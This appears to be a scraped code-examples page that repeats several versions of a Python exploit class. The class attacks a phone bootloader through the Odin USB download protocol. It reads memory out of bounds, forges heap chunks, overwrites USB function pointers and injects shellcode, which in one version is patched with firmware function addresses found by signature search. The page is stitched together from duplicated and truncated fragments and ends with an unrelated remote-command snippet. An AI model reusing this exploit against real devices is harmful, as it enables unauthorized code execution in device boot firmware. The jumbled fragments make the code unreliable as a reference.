Example #1
0
    def __init__(self):
        self._packet_data_size = None
        self._odin = Odin()
        self._odin.open()
        self._sboot = b''

        self.inited = False
 def __init__(self):
     self._packet_data_size = None
     self._odin = Odin()
     self._odin.open()
class Exploit(object):
    def __init__(self):
        self._packet_data_size = None
        self._odin = Odin()
        self._odin.open()

    def close(self):
        self._odin.close()

    def write(self, buf):
        self._odin.write(buf)

    def read_nofail(self, sz):
        try:
            return self._odin.read(sz)
        except usb1.USBError:
            logging.debug('Read {} bytes failed'.format(sz))
            return False

    def read_timeout(self, sz, tries=1024):
        for _ in range(tries):
            ret = self.read_nofail(sz)
            if ret:
                break
        else:
            logging.error('Timeout')
            raise Exception('Timeout waiting for read')

        return ret

    def write_pkt(self, pkt):
        pkt = pkt.ljust(1024, b'\0')
        self.write(pkt)

    def open_session(self):
        logging.debug('Opening session')
        self.write(BeginSessionPacket())
        ret = self.read_nofail(8)
        if not ret:
            logging.warning('Cannot open a session')
        else:
            logging.debug('Session opened with result {}'.format(
                struct.unpack('<i', ret[:4])[0]))
            self._packet_data_size = 0x20000
        return ret

    def close_session(self, reboot=0):
        logging.debug('Closing session (reboot={})'.format(reboot))
        pkt = Packet.pack32(0x67) + Packet.pack32(reboot)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_total_bytes(self, totbytes):
        logging.debug('Setting g_total_bytes=0x{:08x}'.format(totbytes))
        pkt = Packet.pack32(0x64) + Packet.pack32(2) + Packet.pack32(totbytes)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_packet_data_size(self, sz):
        logging.debug('Setting g_packet_data_size=0x{:08x}'.format(sz))
        pkt = Packet.pack32(0x64) + Packet.pack32(5) + Packet.pack32(sz)
        self.write_pkt(pkt)
        if self.read_nofail(8):
            self._packet_data_size = sz

    def set_tflash(self):
        logging.debug('Setting g_tflash=1')
        pkt = Packet.pack32(0x64) + Packet.pack32(8)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_filetransfer_offset(self, val):
        self.set_isdump(0)
        logging.debug('Setting g_filetransfer_offset=0x{:08x}'.format(val))
        pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \
            Packet.pack32(val) + Packet.pack32(0) + Packet.pack32(0)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_filetransfer_offset_other(self, val):
        self.set_isdump(0)
        logging.debug('Setting g_filetransfer_offset_other=0x{:08x}'
                      .fomrat(val))
        pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \
            Packet.pack32(val) + Packet.pack32(1) + Packet.pack32(0)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def filetransfer_write(self, buf):
        self.set_isdump(0)
        self.set_packet_data_size(len(buf))
        logging.debug('Writing filetransfer ({} bytes)'.format(len(buf)))
        pkt = Packet.pack32(0x66) + Packet.pack32(2) + Packet.pack32(len(buf))
        self.write_pkt(pkt)
        self.read_nofail(8)
        for i in range(0, len(buf), self._packet_data_size):
            self.write(buf[i:i+self._packet_data_size])
            self.read_nofail(8)

    def ping(self):
        logging.debug('Ping')
        pkt = Packet.pack32(0x64) + Packet.pack32(1)
        self.write_pkt(pkt)
        if not self.read_nofail(8):
            logging.warning('Ping failed!')
            return False
        return True

    def reboot(self):
        self.close_session(1)

    def set_isdump(self, isdump):
        isdump = 1 if isdump else 0
        logging.debug('Setting isdump={}'.format(isdump))
        pkt = Packet.pack32(0x66) + Packet.pack32(isdump)
        self.write_pkt(pkt)
        return self.read_nofail(8)

    def read_buf(self, part):
        self.set_isdump(1)

        logging.debug('Reading buf part {}'.format(part))
        pkt = Packet.pack32(0x65) + Packet.pack32(2) + \
            Packet.pack32(part & 0xffffffff)
        self.write_pkt(pkt)
        buf = self.read_nofail(500)
        return buf

    def read_memory(self, offset, size):
        part = offset//500
        chunk = self.read_buf(part)

        start = part*500
        while len(chunk) - (offset-start) < size:
            part += 1
            chunk += self.read_buf(part)
        return chunk[offset-start:offset-start+size]

    def write_buf(self, data):
        self.set_isdump(0)

        logging.debug('Writing buf ({} bytes)'.format(len(data)))
        pkt = Packet.pack32(0x65) + Packet.pack32(2) + Packet.pack32(len(data))
        self.write_pkt(pkt)
        if not self.read_nofail(8):
            logging.warning('Cannot set write buffer length')

        self.write(data)
        ret = self.read_nofail(8)
        if not ret:
            logging.warning('Cannot write buffer')
        return ret

    def spray(self, amount=8):
        for i in range(amount):
            self.open_session()
class Exploit(object):
    MAGIC_USB_WRITE = 0x8776D35A
    MAGIC_USB_READ = 0xB9F9EAD9

    def __init__(self):
        self._packet_data_size = None
        self._odin = Odin()
        self._odin.open()

        self.inited = False

    def close(self):
        self._odin.close()

    def write(self, buf):
        self._odin.write(buf)

    def read_nofail(self, sz):
        try:
            return self._odin.read(sz)
        except usb1.USBError:
            logging.debug('Read {} bytes failed'.format(sz))
            return False

    def read_timeout(self, sz, tries=1024):
        for _ in range(tries):
            ret = self.read_nofail(sz)
            if ret:
                break
        else:
            logging.error('Timeout')
            raise Exception('Timeout waiting for read')

        return ret

    def write_pkt(self, pkt):
        pkt = pkt.ljust(1024, b'\0')
        self.write(pkt)

    def open_session(self):
        logging.debug('Opening session')
        self.write(BeginSessionPacket())
        ret = self.read_nofail(8)
        if not ret:
            logging.warning('Cannot open a session')
        else:
            logging.debug('Session opened with result {}'.format(
                struct.unpack('<i', ret[:4])[0]))
            self._packet_data_size = 0x20000
        return ret

    def close_session(self, reboot=0):
        logging.debug('Closing session (reboot={})'.format(reboot))
        pkt = Packet.pack32(0x67) + Packet.pack32(reboot)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_total_bytes(self, totbytes):
        logging.debug('Setting g_total_bytes=0x{:08x}'.format(totbytes))
        pkt = Packet.pack32(0x64) + Packet.pack32(2) + Packet.pack32(totbytes)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_packet_data_size(self, sz):
        logging.debug('Setting g_packet_data_size=0x{:08x}'.format(sz))
        pkt = Packet.pack32(0x64) + Packet.pack32(5) + Packet.pack32(sz)
        self.write_pkt(pkt)
        if self.read_nofail(8):
            self._packet_data_size = sz

    def set_tflash(self):
        logging.debug('Setting g_tflash=1')
        pkt = Packet.pack32(0x64) + Packet.pack32(8)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_filetransfer_offset(self, val):
        self.set_isdump(0)
        logging.debug('Setting g_filetransfer_offset=0x{:08x}'.format(val))
        pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \
            Packet.pack32(val) + Packet.pack32(0) + Packet.pack32(0)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_filetransfer_offset_other(self, val):
        self.set_isdump(0)
        logging.debug(
            'Setting g_filetransfer_offset_other=0x{:08x}'.fomrat(val))
        pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \
            Packet.pack32(val) + Packet.pack32(1) + Packet.pack32(0)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def filetransfer_write(self, buf):
        self.set_isdump(0)
        self.set_packet_data_size(len(buf))
        logging.debug('Writing filetransfer ({} bytes)'.format(len(buf)))
        pkt = Packet.pack32(0x66) + Packet.pack32(2) + Packet.pack32(len(buf))
        self.write_pkt(pkt)
        self.read_nofail(8)
        for i in range(0, len(buf), self._packet_data_size):
            self.write(buf[i:i + self._packet_data_size])
            self.read_nofail(8)

    def ping(self):
        logging.debug('Ping')
        pkt = Packet.pack32(0x64) + Packet.pack32(1)
        self.write_pkt(pkt)
        if not self.read_nofail(8):
            logging.warning('Ping failed!')
            return False
        return True

    def reboot(self):
        self.close_session(1)

    def set_isdump(self, isdump):
        isdump = 1 if isdump else 0
        logging.debug('Setting isdump={}'.format(isdump))
        pkt = Packet.pack32(0x66) + Packet.pack32(isdump)
        self.write_pkt(pkt)
        return self.read_nofail(8)

    def read_buf(self, part):
        self.set_isdump(1)

        logging.debug('Reading buf part {}'.format(part))
        pkt = Packet.pack32(0x65) + Packet.pack32(2) + \
            Packet.pack32(part & 0xffffffff)
        self.write_pkt(pkt)
        buf = self.read_nofail(500)
        return buf

    def read_memory(self, offset, size):
        part = offset // 500
        chunk = self.read_buf(part)

        start = part * 500
        while len(chunk) - (offset - start) < size:
            part += 1
            chunk += self.read_buf(part)
        return chunk[offset - start:offset - start + size]

    def write_buf(self, data):
        self.set_isdump(0)

        logging.debug('Writing buf ({} bytes)'.format(len(data)))
        pkt = Packet.pack32(0x65) + Packet.pack32(2) + Packet.pack32(len(data))
        self.write_pkt(pkt)
        if not self.read_nofail(8):
            logging.warning('Cannot set write buffer length')

        self.write(data)
        ret = self.read_nofail(8)
        if not ret:
            logging.warning('Cannot write buffer')
        return ret

    def spray(self, amount=8):
        for i in range(amount):
            if not self.open_session():
                return False
        return True

    def init(self):
        if not self.spray():
            return False

        header = self.read_memory(-0x10, 0x10)
        size, isfree, prev, next = struct.unpack("<IIII", header)
        assert size == 0x2000
        assert (isfree & 1) == 0
        self.buf_ptr = next - 0x2000
        self.header_ptr = self.buf_ptr - 0x10
        self.prev_ptr = prev
        prb_ptr = next
        logging.debug('First chunk header pointer: 0x{:08x}'.format(
            self.header_ptr))
        self.inited = True
        return True

    def run_shellcode(self, shellcode):
        if not self.inited:
            raise RuntimeError("Exploit isn't initialized")

        logging.debug('Searching for arena ptr...')
        prev = self.prev_ptr
        while True:
            cur = prev - self.buf_ptr
            header = self.read_memory(cur, 0x10)
            size, isfree, prev, next = struct.unpack("<IIII", header)
            if prev == 0 or prev >= self.header_ptr:
                arena = cur + self.buf_ptr
                logging.debug('Arena is at 0x{:08x}'.format(arena))
                break

        # Fake last chunk so we gain control over function pointers
        last = self.buf_ptr

        # Read arena area and find USB function pointers
        arena_memory = self.read_memory(arena - self.buf_ptr, 0x80)
        for vptr_off in range(0, len(arena_memory) - 4, 4):
            ptrs = struct.unpack("<II", arena_memory[vptr_off:vptr_off + 8])
            if all(((ptr & 0xff000000) == 0x43000000 for ptr in ptrs)):
                break
        else:
            raise Exception('Could not find USB function pointers')

        logging.debug(
            'Function pointers are at offset 0x{:08x}'.format(vptr_off))

        # Prepare shellcode
        shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_USB_WRITE),
                                      struct.pack('<I', ptrs[0]))
        shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_USB_READ),
                                      struct.pack('<I', ptrs[1]))

        # Fill buffer (start of buffer is fake last chunk)
        # Fake size such that next alloc is placed on an address to our control
        # We use a size such that next allocation is placed around /arena/
        data = bytes()
        data += struct.pack('<IIII',
                            (arena - self.buf_ptr - 0x10 + 0x100) & 0xffffffff,
                            1, 0, arena)
        data += shellcode
        data += b'\x0a' * (0x2000 - len(data))
        prev_header_ptr = self.header_ptr
        cur_header_ptr = self.header_ptr + 0x10 + 0x2000

        # Create chunks -- (size, isfree)
        chunks = [(0x10, 0)] + [(0x10, 1)] * 256

        for i, (sz, isfree) in enumerate(chunks):
            if i == len(chunks) - 1:
                next = last
                chunk_data = b''
            else:
                next = cur_header_ptr + 0x10 + sz
                chunk_data = b's' * sz

            data += struct.pack("<IIII", sz, isfree, prev_header_ptr, next)
            data += chunk_data
            prev_header_ptr = cur_header_ptr
            cur_header_ptr = cur_header_ptr + 0x10 + sz

        self.write_buf(data)

        logging.debug('Fake chunks are set up. Triggering absolute write...')

        # Prepare new arena_memory to write over the original one
        ptr_to_jump = self.buf_ptr + 0x10
        arena_memory = arena_memory[:vptr_off] + \
            struct.pack("<I", ptr_to_jump) * 2 + \
            arena_memory[vptr_off:]

        # Loop malloc(0x2000), write_buf so eventually it is allocated over
        # arena_memory
        for i in range(256):
            if not self.open_session():
                raise RuntimeError(
                    'Cannot malloc(0x2000) - target may have crashed. Do you '
                    'use same sboot version as the shellcode?')

            ret = self.write_buf(b'\0' * (0x2000 - 0x100) + arena_memory)
            if ret == b'oranav':
                break
        else:
            raise RuntimeError(
                "Could not trigger absolute write - haven't received the knock"
                " code. Vulnerability might be fixed")

        logging.debug('Shellcode is running!')
Example #5
0
class Exploit(object):
    MAGIC_USB_WRITE = 0x8776D35A
    MAGIC_USB_READ = 0xB9F9EAD9
    MAGIC_SLEEP = 0x934ED462
    MAGIC_DISPLAY = 0x3D486FAB
    MAGIC_CLK1 = 0x3300A7FB
    MAGIC_CLK2 = 0x3F392D79
    MAGIC_MMC_STARTUP = 0xCB02B341

    SBOOT_ADDRESS = 0x43E00000

    def __init__(self):
        self._packet_data_size = None
        self._odin = Odin()
        self._odin.open()
        self._sboot = b''

        self.inited = False

    def close(self):
        self._odin.close()

    def write(self, buf):
        self._odin.write(buf)

    def read_nofail(self, sz):
        try:
            return self._odin.read(sz)
        except usb1.USBError:
            logging.debug('Read {} bytes failed'.format(sz))
            return False

    def read_timeout(self, sz, tries=1024):
        for _ in range(tries):
            ret = self.read_nofail(sz)
            if ret:
                break
        else:
            logging.error('Timeout')
            raise Exception('Timeout waiting for read')

        return ret

    def write_pkt(self, pkt):
        pkt = pkt.ljust(1024, b'\0')
        self.write(pkt)

    def open_session(self):
        logging.debug('Opening session')
        self.write(BeginSessionPacket())
        ret = self.read_nofail(8)
        if not ret:
            logging.warning('Cannot open a session')
        else:
            logging.debug('Session opened with result {}'.format(
                struct.unpack('<i', ret[:4])[0]))
            self._packet_data_size = 0x20000
        return ret

    def close_session(self, reboot=0):
        logging.debug('Closing session (reboot={})'.format(reboot))
        pkt = Packet.pack32(0x67) + Packet.pack32(reboot)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_total_bytes(self, totbytes):
        logging.debug('Setting g_total_bytes=0x{:08x}'.format(totbytes))
        pkt = Packet.pack32(0x64) + Packet.pack32(2) + Packet.pack32(totbytes)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_packet_data_size(self, sz):
        logging.debug('Setting g_packet_data_size=0x{:08x}'.format(sz))
        pkt = Packet.pack32(0x64) + Packet.pack32(5) + Packet.pack32(sz)
        self.write_pkt(pkt)
        if self.read_nofail(8):
            self._packet_data_size = sz

    def set_tflash(self):
        logging.debug('Setting g_tflash=1')
        pkt = Packet.pack32(0x64) + Packet.pack32(8)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_filetransfer_offset(self, val):
        self.set_isdump(0)
        logging.debug('Setting g_filetransfer_offset=0x{:08x}'.format(val))
        pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \
            Packet.pack32(val) + Packet.pack32(0) + Packet.pack32(0)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def set_filetransfer_offset_other(self, val):
        self.set_isdump(0)
        logging.debug(
            'Setting g_filetransfer_offset_other=0x{:08x}'.fomrat(val))
        pkt = Packet.pack32(0x66) + Packet.pack32(3) + Packet.pack32(0) + \
            Packet.pack32(val) + Packet.pack32(1) + Packet.pack32(0)
        self.write_pkt(pkt)
        self.read_nofail(8)

    def filetransfer_write(self, buf):
        self.set_isdump(0)
        self.set_packet_data_size(len(buf))
        logging.debug('Writing filetransfer ({} bytes)'.format(len(buf)))
        pkt = Packet.pack32(0x66) + Packet.pack32(2) + Packet.pack32(len(buf))
        self.write_pkt(pkt)
        self.read_nofail(8)
        for i in range(0, len(buf), self._packet_data_size):
            self.write(buf[i:i + self._packet_data_size])
            self.read_nofail(8)

    def ping(self):
        logging.debug('Ping')
        pkt = Packet.pack32(0x64) + Packet.pack32(1)
        self.write_pkt(pkt)
        if not self.read_nofail(8):
            logging.warning('Ping failed!')
            return False
        return True

    def reboot(self):
        self.close_session(1)

    def set_isdump(self, isdump):
        isdump = 1 if isdump else 0
        logging.debug('Setting isdump={}'.format(isdump))
        pkt = Packet.pack32(0x66) + Packet.pack32(isdump)
        self.write_pkt(pkt)
        return self.read_nofail(8)

    def read_buf(self, part):
        self.set_isdump(1)

        logging.debug('Reading buf part {}'.format(part))
        pkt = Packet.pack32(0x65) + Packet.pack32(2) + \
            Packet.pack32(part & 0xffffffff)
        self.write_pkt(pkt)
        buf = self.read_nofail(500)
        return buf

    def read_memory(self, offset, size):
        part = offset // 500
        chunk = self.read_buf(part)

        start = part * 500
        while len(chunk) - (offset - start) < size:
            part += 1
            chunk += self.read_buf(part)
        return chunk[offset - start:offset - start + size]

    def write_buf(self, data):
        self.set_isdump(0)

        logging.debug('Writing buf ({} bytes)'.format(len(data)))
        pkt = Packet.pack32(0x65) + Packet.pack32(2) + Packet.pack32(len(data))
        self.write_pkt(pkt)
        if not self.read_nofail(8):
            logging.warning('Cannot set write buffer length')

        self.write(data)
        ret = self.read_nofail(8)
        if not ret:
            logging.warning('Cannot write buffer')
        return ret

    def spray(self, amount=8):
        for i in range(amount):
            if not self.open_session():
                return False
        return True

    def init(self):
        if not self.spray():
            return False

        header = self.read_memory(-0x10, 0x10)
        size, isfree, prev, next = struct.unpack("<IIII", header)
        assert size == 0x2000
        assert (isfree & 1) == 0
        self.buf_ptr = next - 0x2000
        self.header_ptr = self.buf_ptr - 0x10
        self.prev_ptr = prev
        prb_ptr = next
        logging.debug('First chunk header pointer: 0x{:08x}'.format(
            self.header_ptr))
        self.inited = True
        return True

    def run_shellcode(self, shellcode):
        if not self.inited:
            raise RuntimeError("Exploit isn't initialized")

        logging.debug('Dumping some sboot code')
        end = self.SBOOT_ADDRESS + 0x20000
        chunk_size = 0x1f0

        for addr in range(self.SBOOT_ADDRESS, end, chunk_size):
            sz = min(chunk_size, end - addr)
            chunk = exploit.read_memory(addr - exploit.buf_ptr, sz)
            self._sboot += chunk

        # Find sleep() address: MOV R0, #1000
        sleep = self._find_function(b'\xfa\x0f\xa0\xe3')
        logging.debug('sleep() found at 0x{:08x}'.format(sleep))

        # Find display() address: MOV R2, #0xFF0000
        display = self._find_function(b'\xff\x28\xa0\xe3')
        logging.debug('display() found at 0x{:08x}'.format(display))

        # Find clk1() address: MOV R1, #0x2FAF080
        clk1 = self._find_function(b'\x80\x10\x0F\xE3\xFA\x12\x40\xE3')
        logging.debug('clk1() found at 0x{:08x}'.format(clk1))

        # Find clk2() address: MOV R1, #6
        # signature isn't perfect so use lookahead=2 for tighter constraints
        clk2 = self._find_function(b'\x06\x10\xA0\xE3', 2)
        logging.debug('clk2() found at 0x{:08x}'.format(clk2))

        # Find mmc_startup() address
        # This requires some trickery since I couldn't find any simple pattern
        for offset in range(0, len(self._sboot), 4):
            # 1. Find a MOV (actually MVN) with #-0x16:
            opcode = struct.unpack('<I', self._sboot[offset:offset + 4])[0]
            if (opcode & 0x0FF00FFF) != 0x03E00015:
                continue
            # 2. Find an STMFD above (function start):
            for func_start in range(offset - 4, max(0, offset - 4 * 32), -4):
                data = self._sboot[func_start:func_start + 4]
                opcode = struct.unpack('<I', data)[0]
                if (opcode & 0xFFFF0000) == 0xE92D0000:
                    break
            else:
                continue
            # 3. Found!
            mmc_startup = self.SBOOT_ADDRESS + func_start
            break
        else:
            raise Exception('Could not find mmc_startup() in this sboot')
        logging.debug('mmc_startup() found at 0x{:08x}'.format(mmc_startup))

        logging.debug('Searching for arena ptr...')
        prev = self.prev_ptr
        while True:
            cur = prev - self.buf_ptr
            header = self.read_memory(cur, 0x10)
            size, isfree, prev, next = struct.unpack("<IIII", header)
            if prev == 0 or prev >= self.header_ptr:
                arena = cur + self.buf_ptr
                logging.debug('Arena is at 0x{:08x}'.format(arena))
                break

        # Fake last chunk so we gain control over function pointers
        last = self.buf_ptr

        # Read arena area and find USB function pointers
        arena_memory = self.read_memory(arena - self.buf_ptr, 0x80)
        for vptr_off in range(0, len(arena_memory) - 4, 4):
            ptrs = struct.unpack("<II", arena_memory[vptr_off:vptr_off + 8])
            if all(((ptr & 0xff000000) == 0x43000000 for ptr in ptrs)):
                break
        else:
            raise Exception('Could not find USB function pointers')

        logging.debug(
            'Function pointers are at offset 0x{:08x}'.format(vptr_off))

        # Prepare shellcode
        shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_USB_WRITE),
                                      struct.pack('<I', ptrs[0]))
        shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_USB_READ),
                                      struct.pack('<I', ptrs[1]))
        shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_SLEEP),
                                      struct.pack('<I', sleep))
        shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_DISPLAY),
                                      struct.pack('<I', display))
        shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_CLK1),
                                      struct.pack('<I', clk1))
        shellcode = shellcode.replace(struct.pack('<I', self.MAGIC_CLK2),
                                      struct.pack('<I', clk2))
        shellcode = shellcode.replace(
            struct.pack('<I', self.MAGIC_MMC_STARTUP),
            struct.pack('<I', mmc_startup))

        # Fill buffer (start of buffer is fake last chunk)
        # Fake size such that next alloc is placed on an address to our control
        # We use a size such that next allocation is placed around /arena/
        data = bytes()
        data += struct.pack('<IIII',
                            (arena - self.buf_ptr - 0x10 + 0x100) & 0xffffffff,
                            1, 0, arena)
        data += shellcode
        data += b'\x0a' * (0x2000 - len(data))
        prev_header_ptr = self.header_ptr
        cur_header_ptr = self.header_ptr + 0x10 + 0x2000

        # Create chunks -- (size, isfree)
        chunks = [(0x10, 0)] + [(0x10, 1)] * 256

        for i, (sz, isfree) in enumerate(chunks):
            if i == len(chunks) - 1:
                next = last
                chunk_data = b''
            else:
                next = cur_header_ptr + 0x10 + sz
                chunk_data = b's' * sz

            data += struct.pack("<IIII", sz, isfree, prev_header_ptr, next)
            data += chunk_data
            prev_header_ptr = cur_header_ptr
            cur_header_ptr = cur_header_ptr + 0x10 + sz

        self.write_buf(data)

        logging.debug('Fake chunks are set up. Triggering absolute write...')

        # Prepare new arena_memory to write over the original one
        ptr_to_jump = self.buf_ptr + 0x10
        arena_memory = arena_memory[:vptr_off] + \
            struct.pack("<I", ptr_to_jump) * 2 + \
            arena_memory[vptr_off + 4*2:]

        # Loop malloc(0x2000), write_buf so eventually it is allocated over
        # arena_memory
        for i in range(256):
            if not self.open_session():
                raise RuntimeError(
                    'Cannot malloc(0x2000) - target may have crashed. Do you '
                    'use same sboot version as the shellcode?')

            ret = self.write_buf(b'\0' * (0x2000 - 0x100) + arena_memory)
            if ret == b'oranav':
                break
        else:
            raise RuntimeError(
                "Could not trigger absolute write - haven't received the knock"
                " code. Vulnerability might be fixed")

        logging.debug('Shellcode is running!')

    def _find_function(self, signature, bl_lookahead=8):
        """Finds a function address in sboot.

        `signature' is a unique pattern which indiactes a unique argument passed
        to the function; `bl_lookahead' is the maximum distance to look for a
        BL instruction from the signature.
        """
        assert (len(signature) % 4) == 0, 'signature must be aligned'

        offset = -1
        while True:
            offset = self._sboot.find(signature, offset + 1)
            if offset == -1:
                raise Exception('Could not parse this sboot version')
            # must be aligned
            if offset % 4:
                continue
            # now it should BL, so just 'disassemble' it
            max_ahead = min(offset + bl_lookahead * 4, len(self._sboot))
            for ahead in range(offset + len(signature), max_ahead, 4):
                branch = self._sboot[ahead:ahead + 4]
                if branch[3] != 0xeb:
                    continue
                bl_base = self.SBOOT_ADDRESS + ahead + 8
                sign_extended = branch[:3]
                if sign_extended[2] & 0x80:
                    sign_extended += b'\xff'
                else:
                    sign_extended += b'\0'
                bl_offset = struct.unpack('<i', sign_extended)[0] * 4
                func_addr = bl_base + bl_offset
                return func_addr
Example #6
0
from odin import Odin

if __name__ == "__main__":
    server_list = ["xx.yy.zz.ll"]
    odc = Odin(server_list)
    odc.establish_connection()
    print(odc.execute_command("echo sample_value", server_list[0]))
    print(odc.execute_command("date", server_list[0]))
    odc.deconstruct_connection()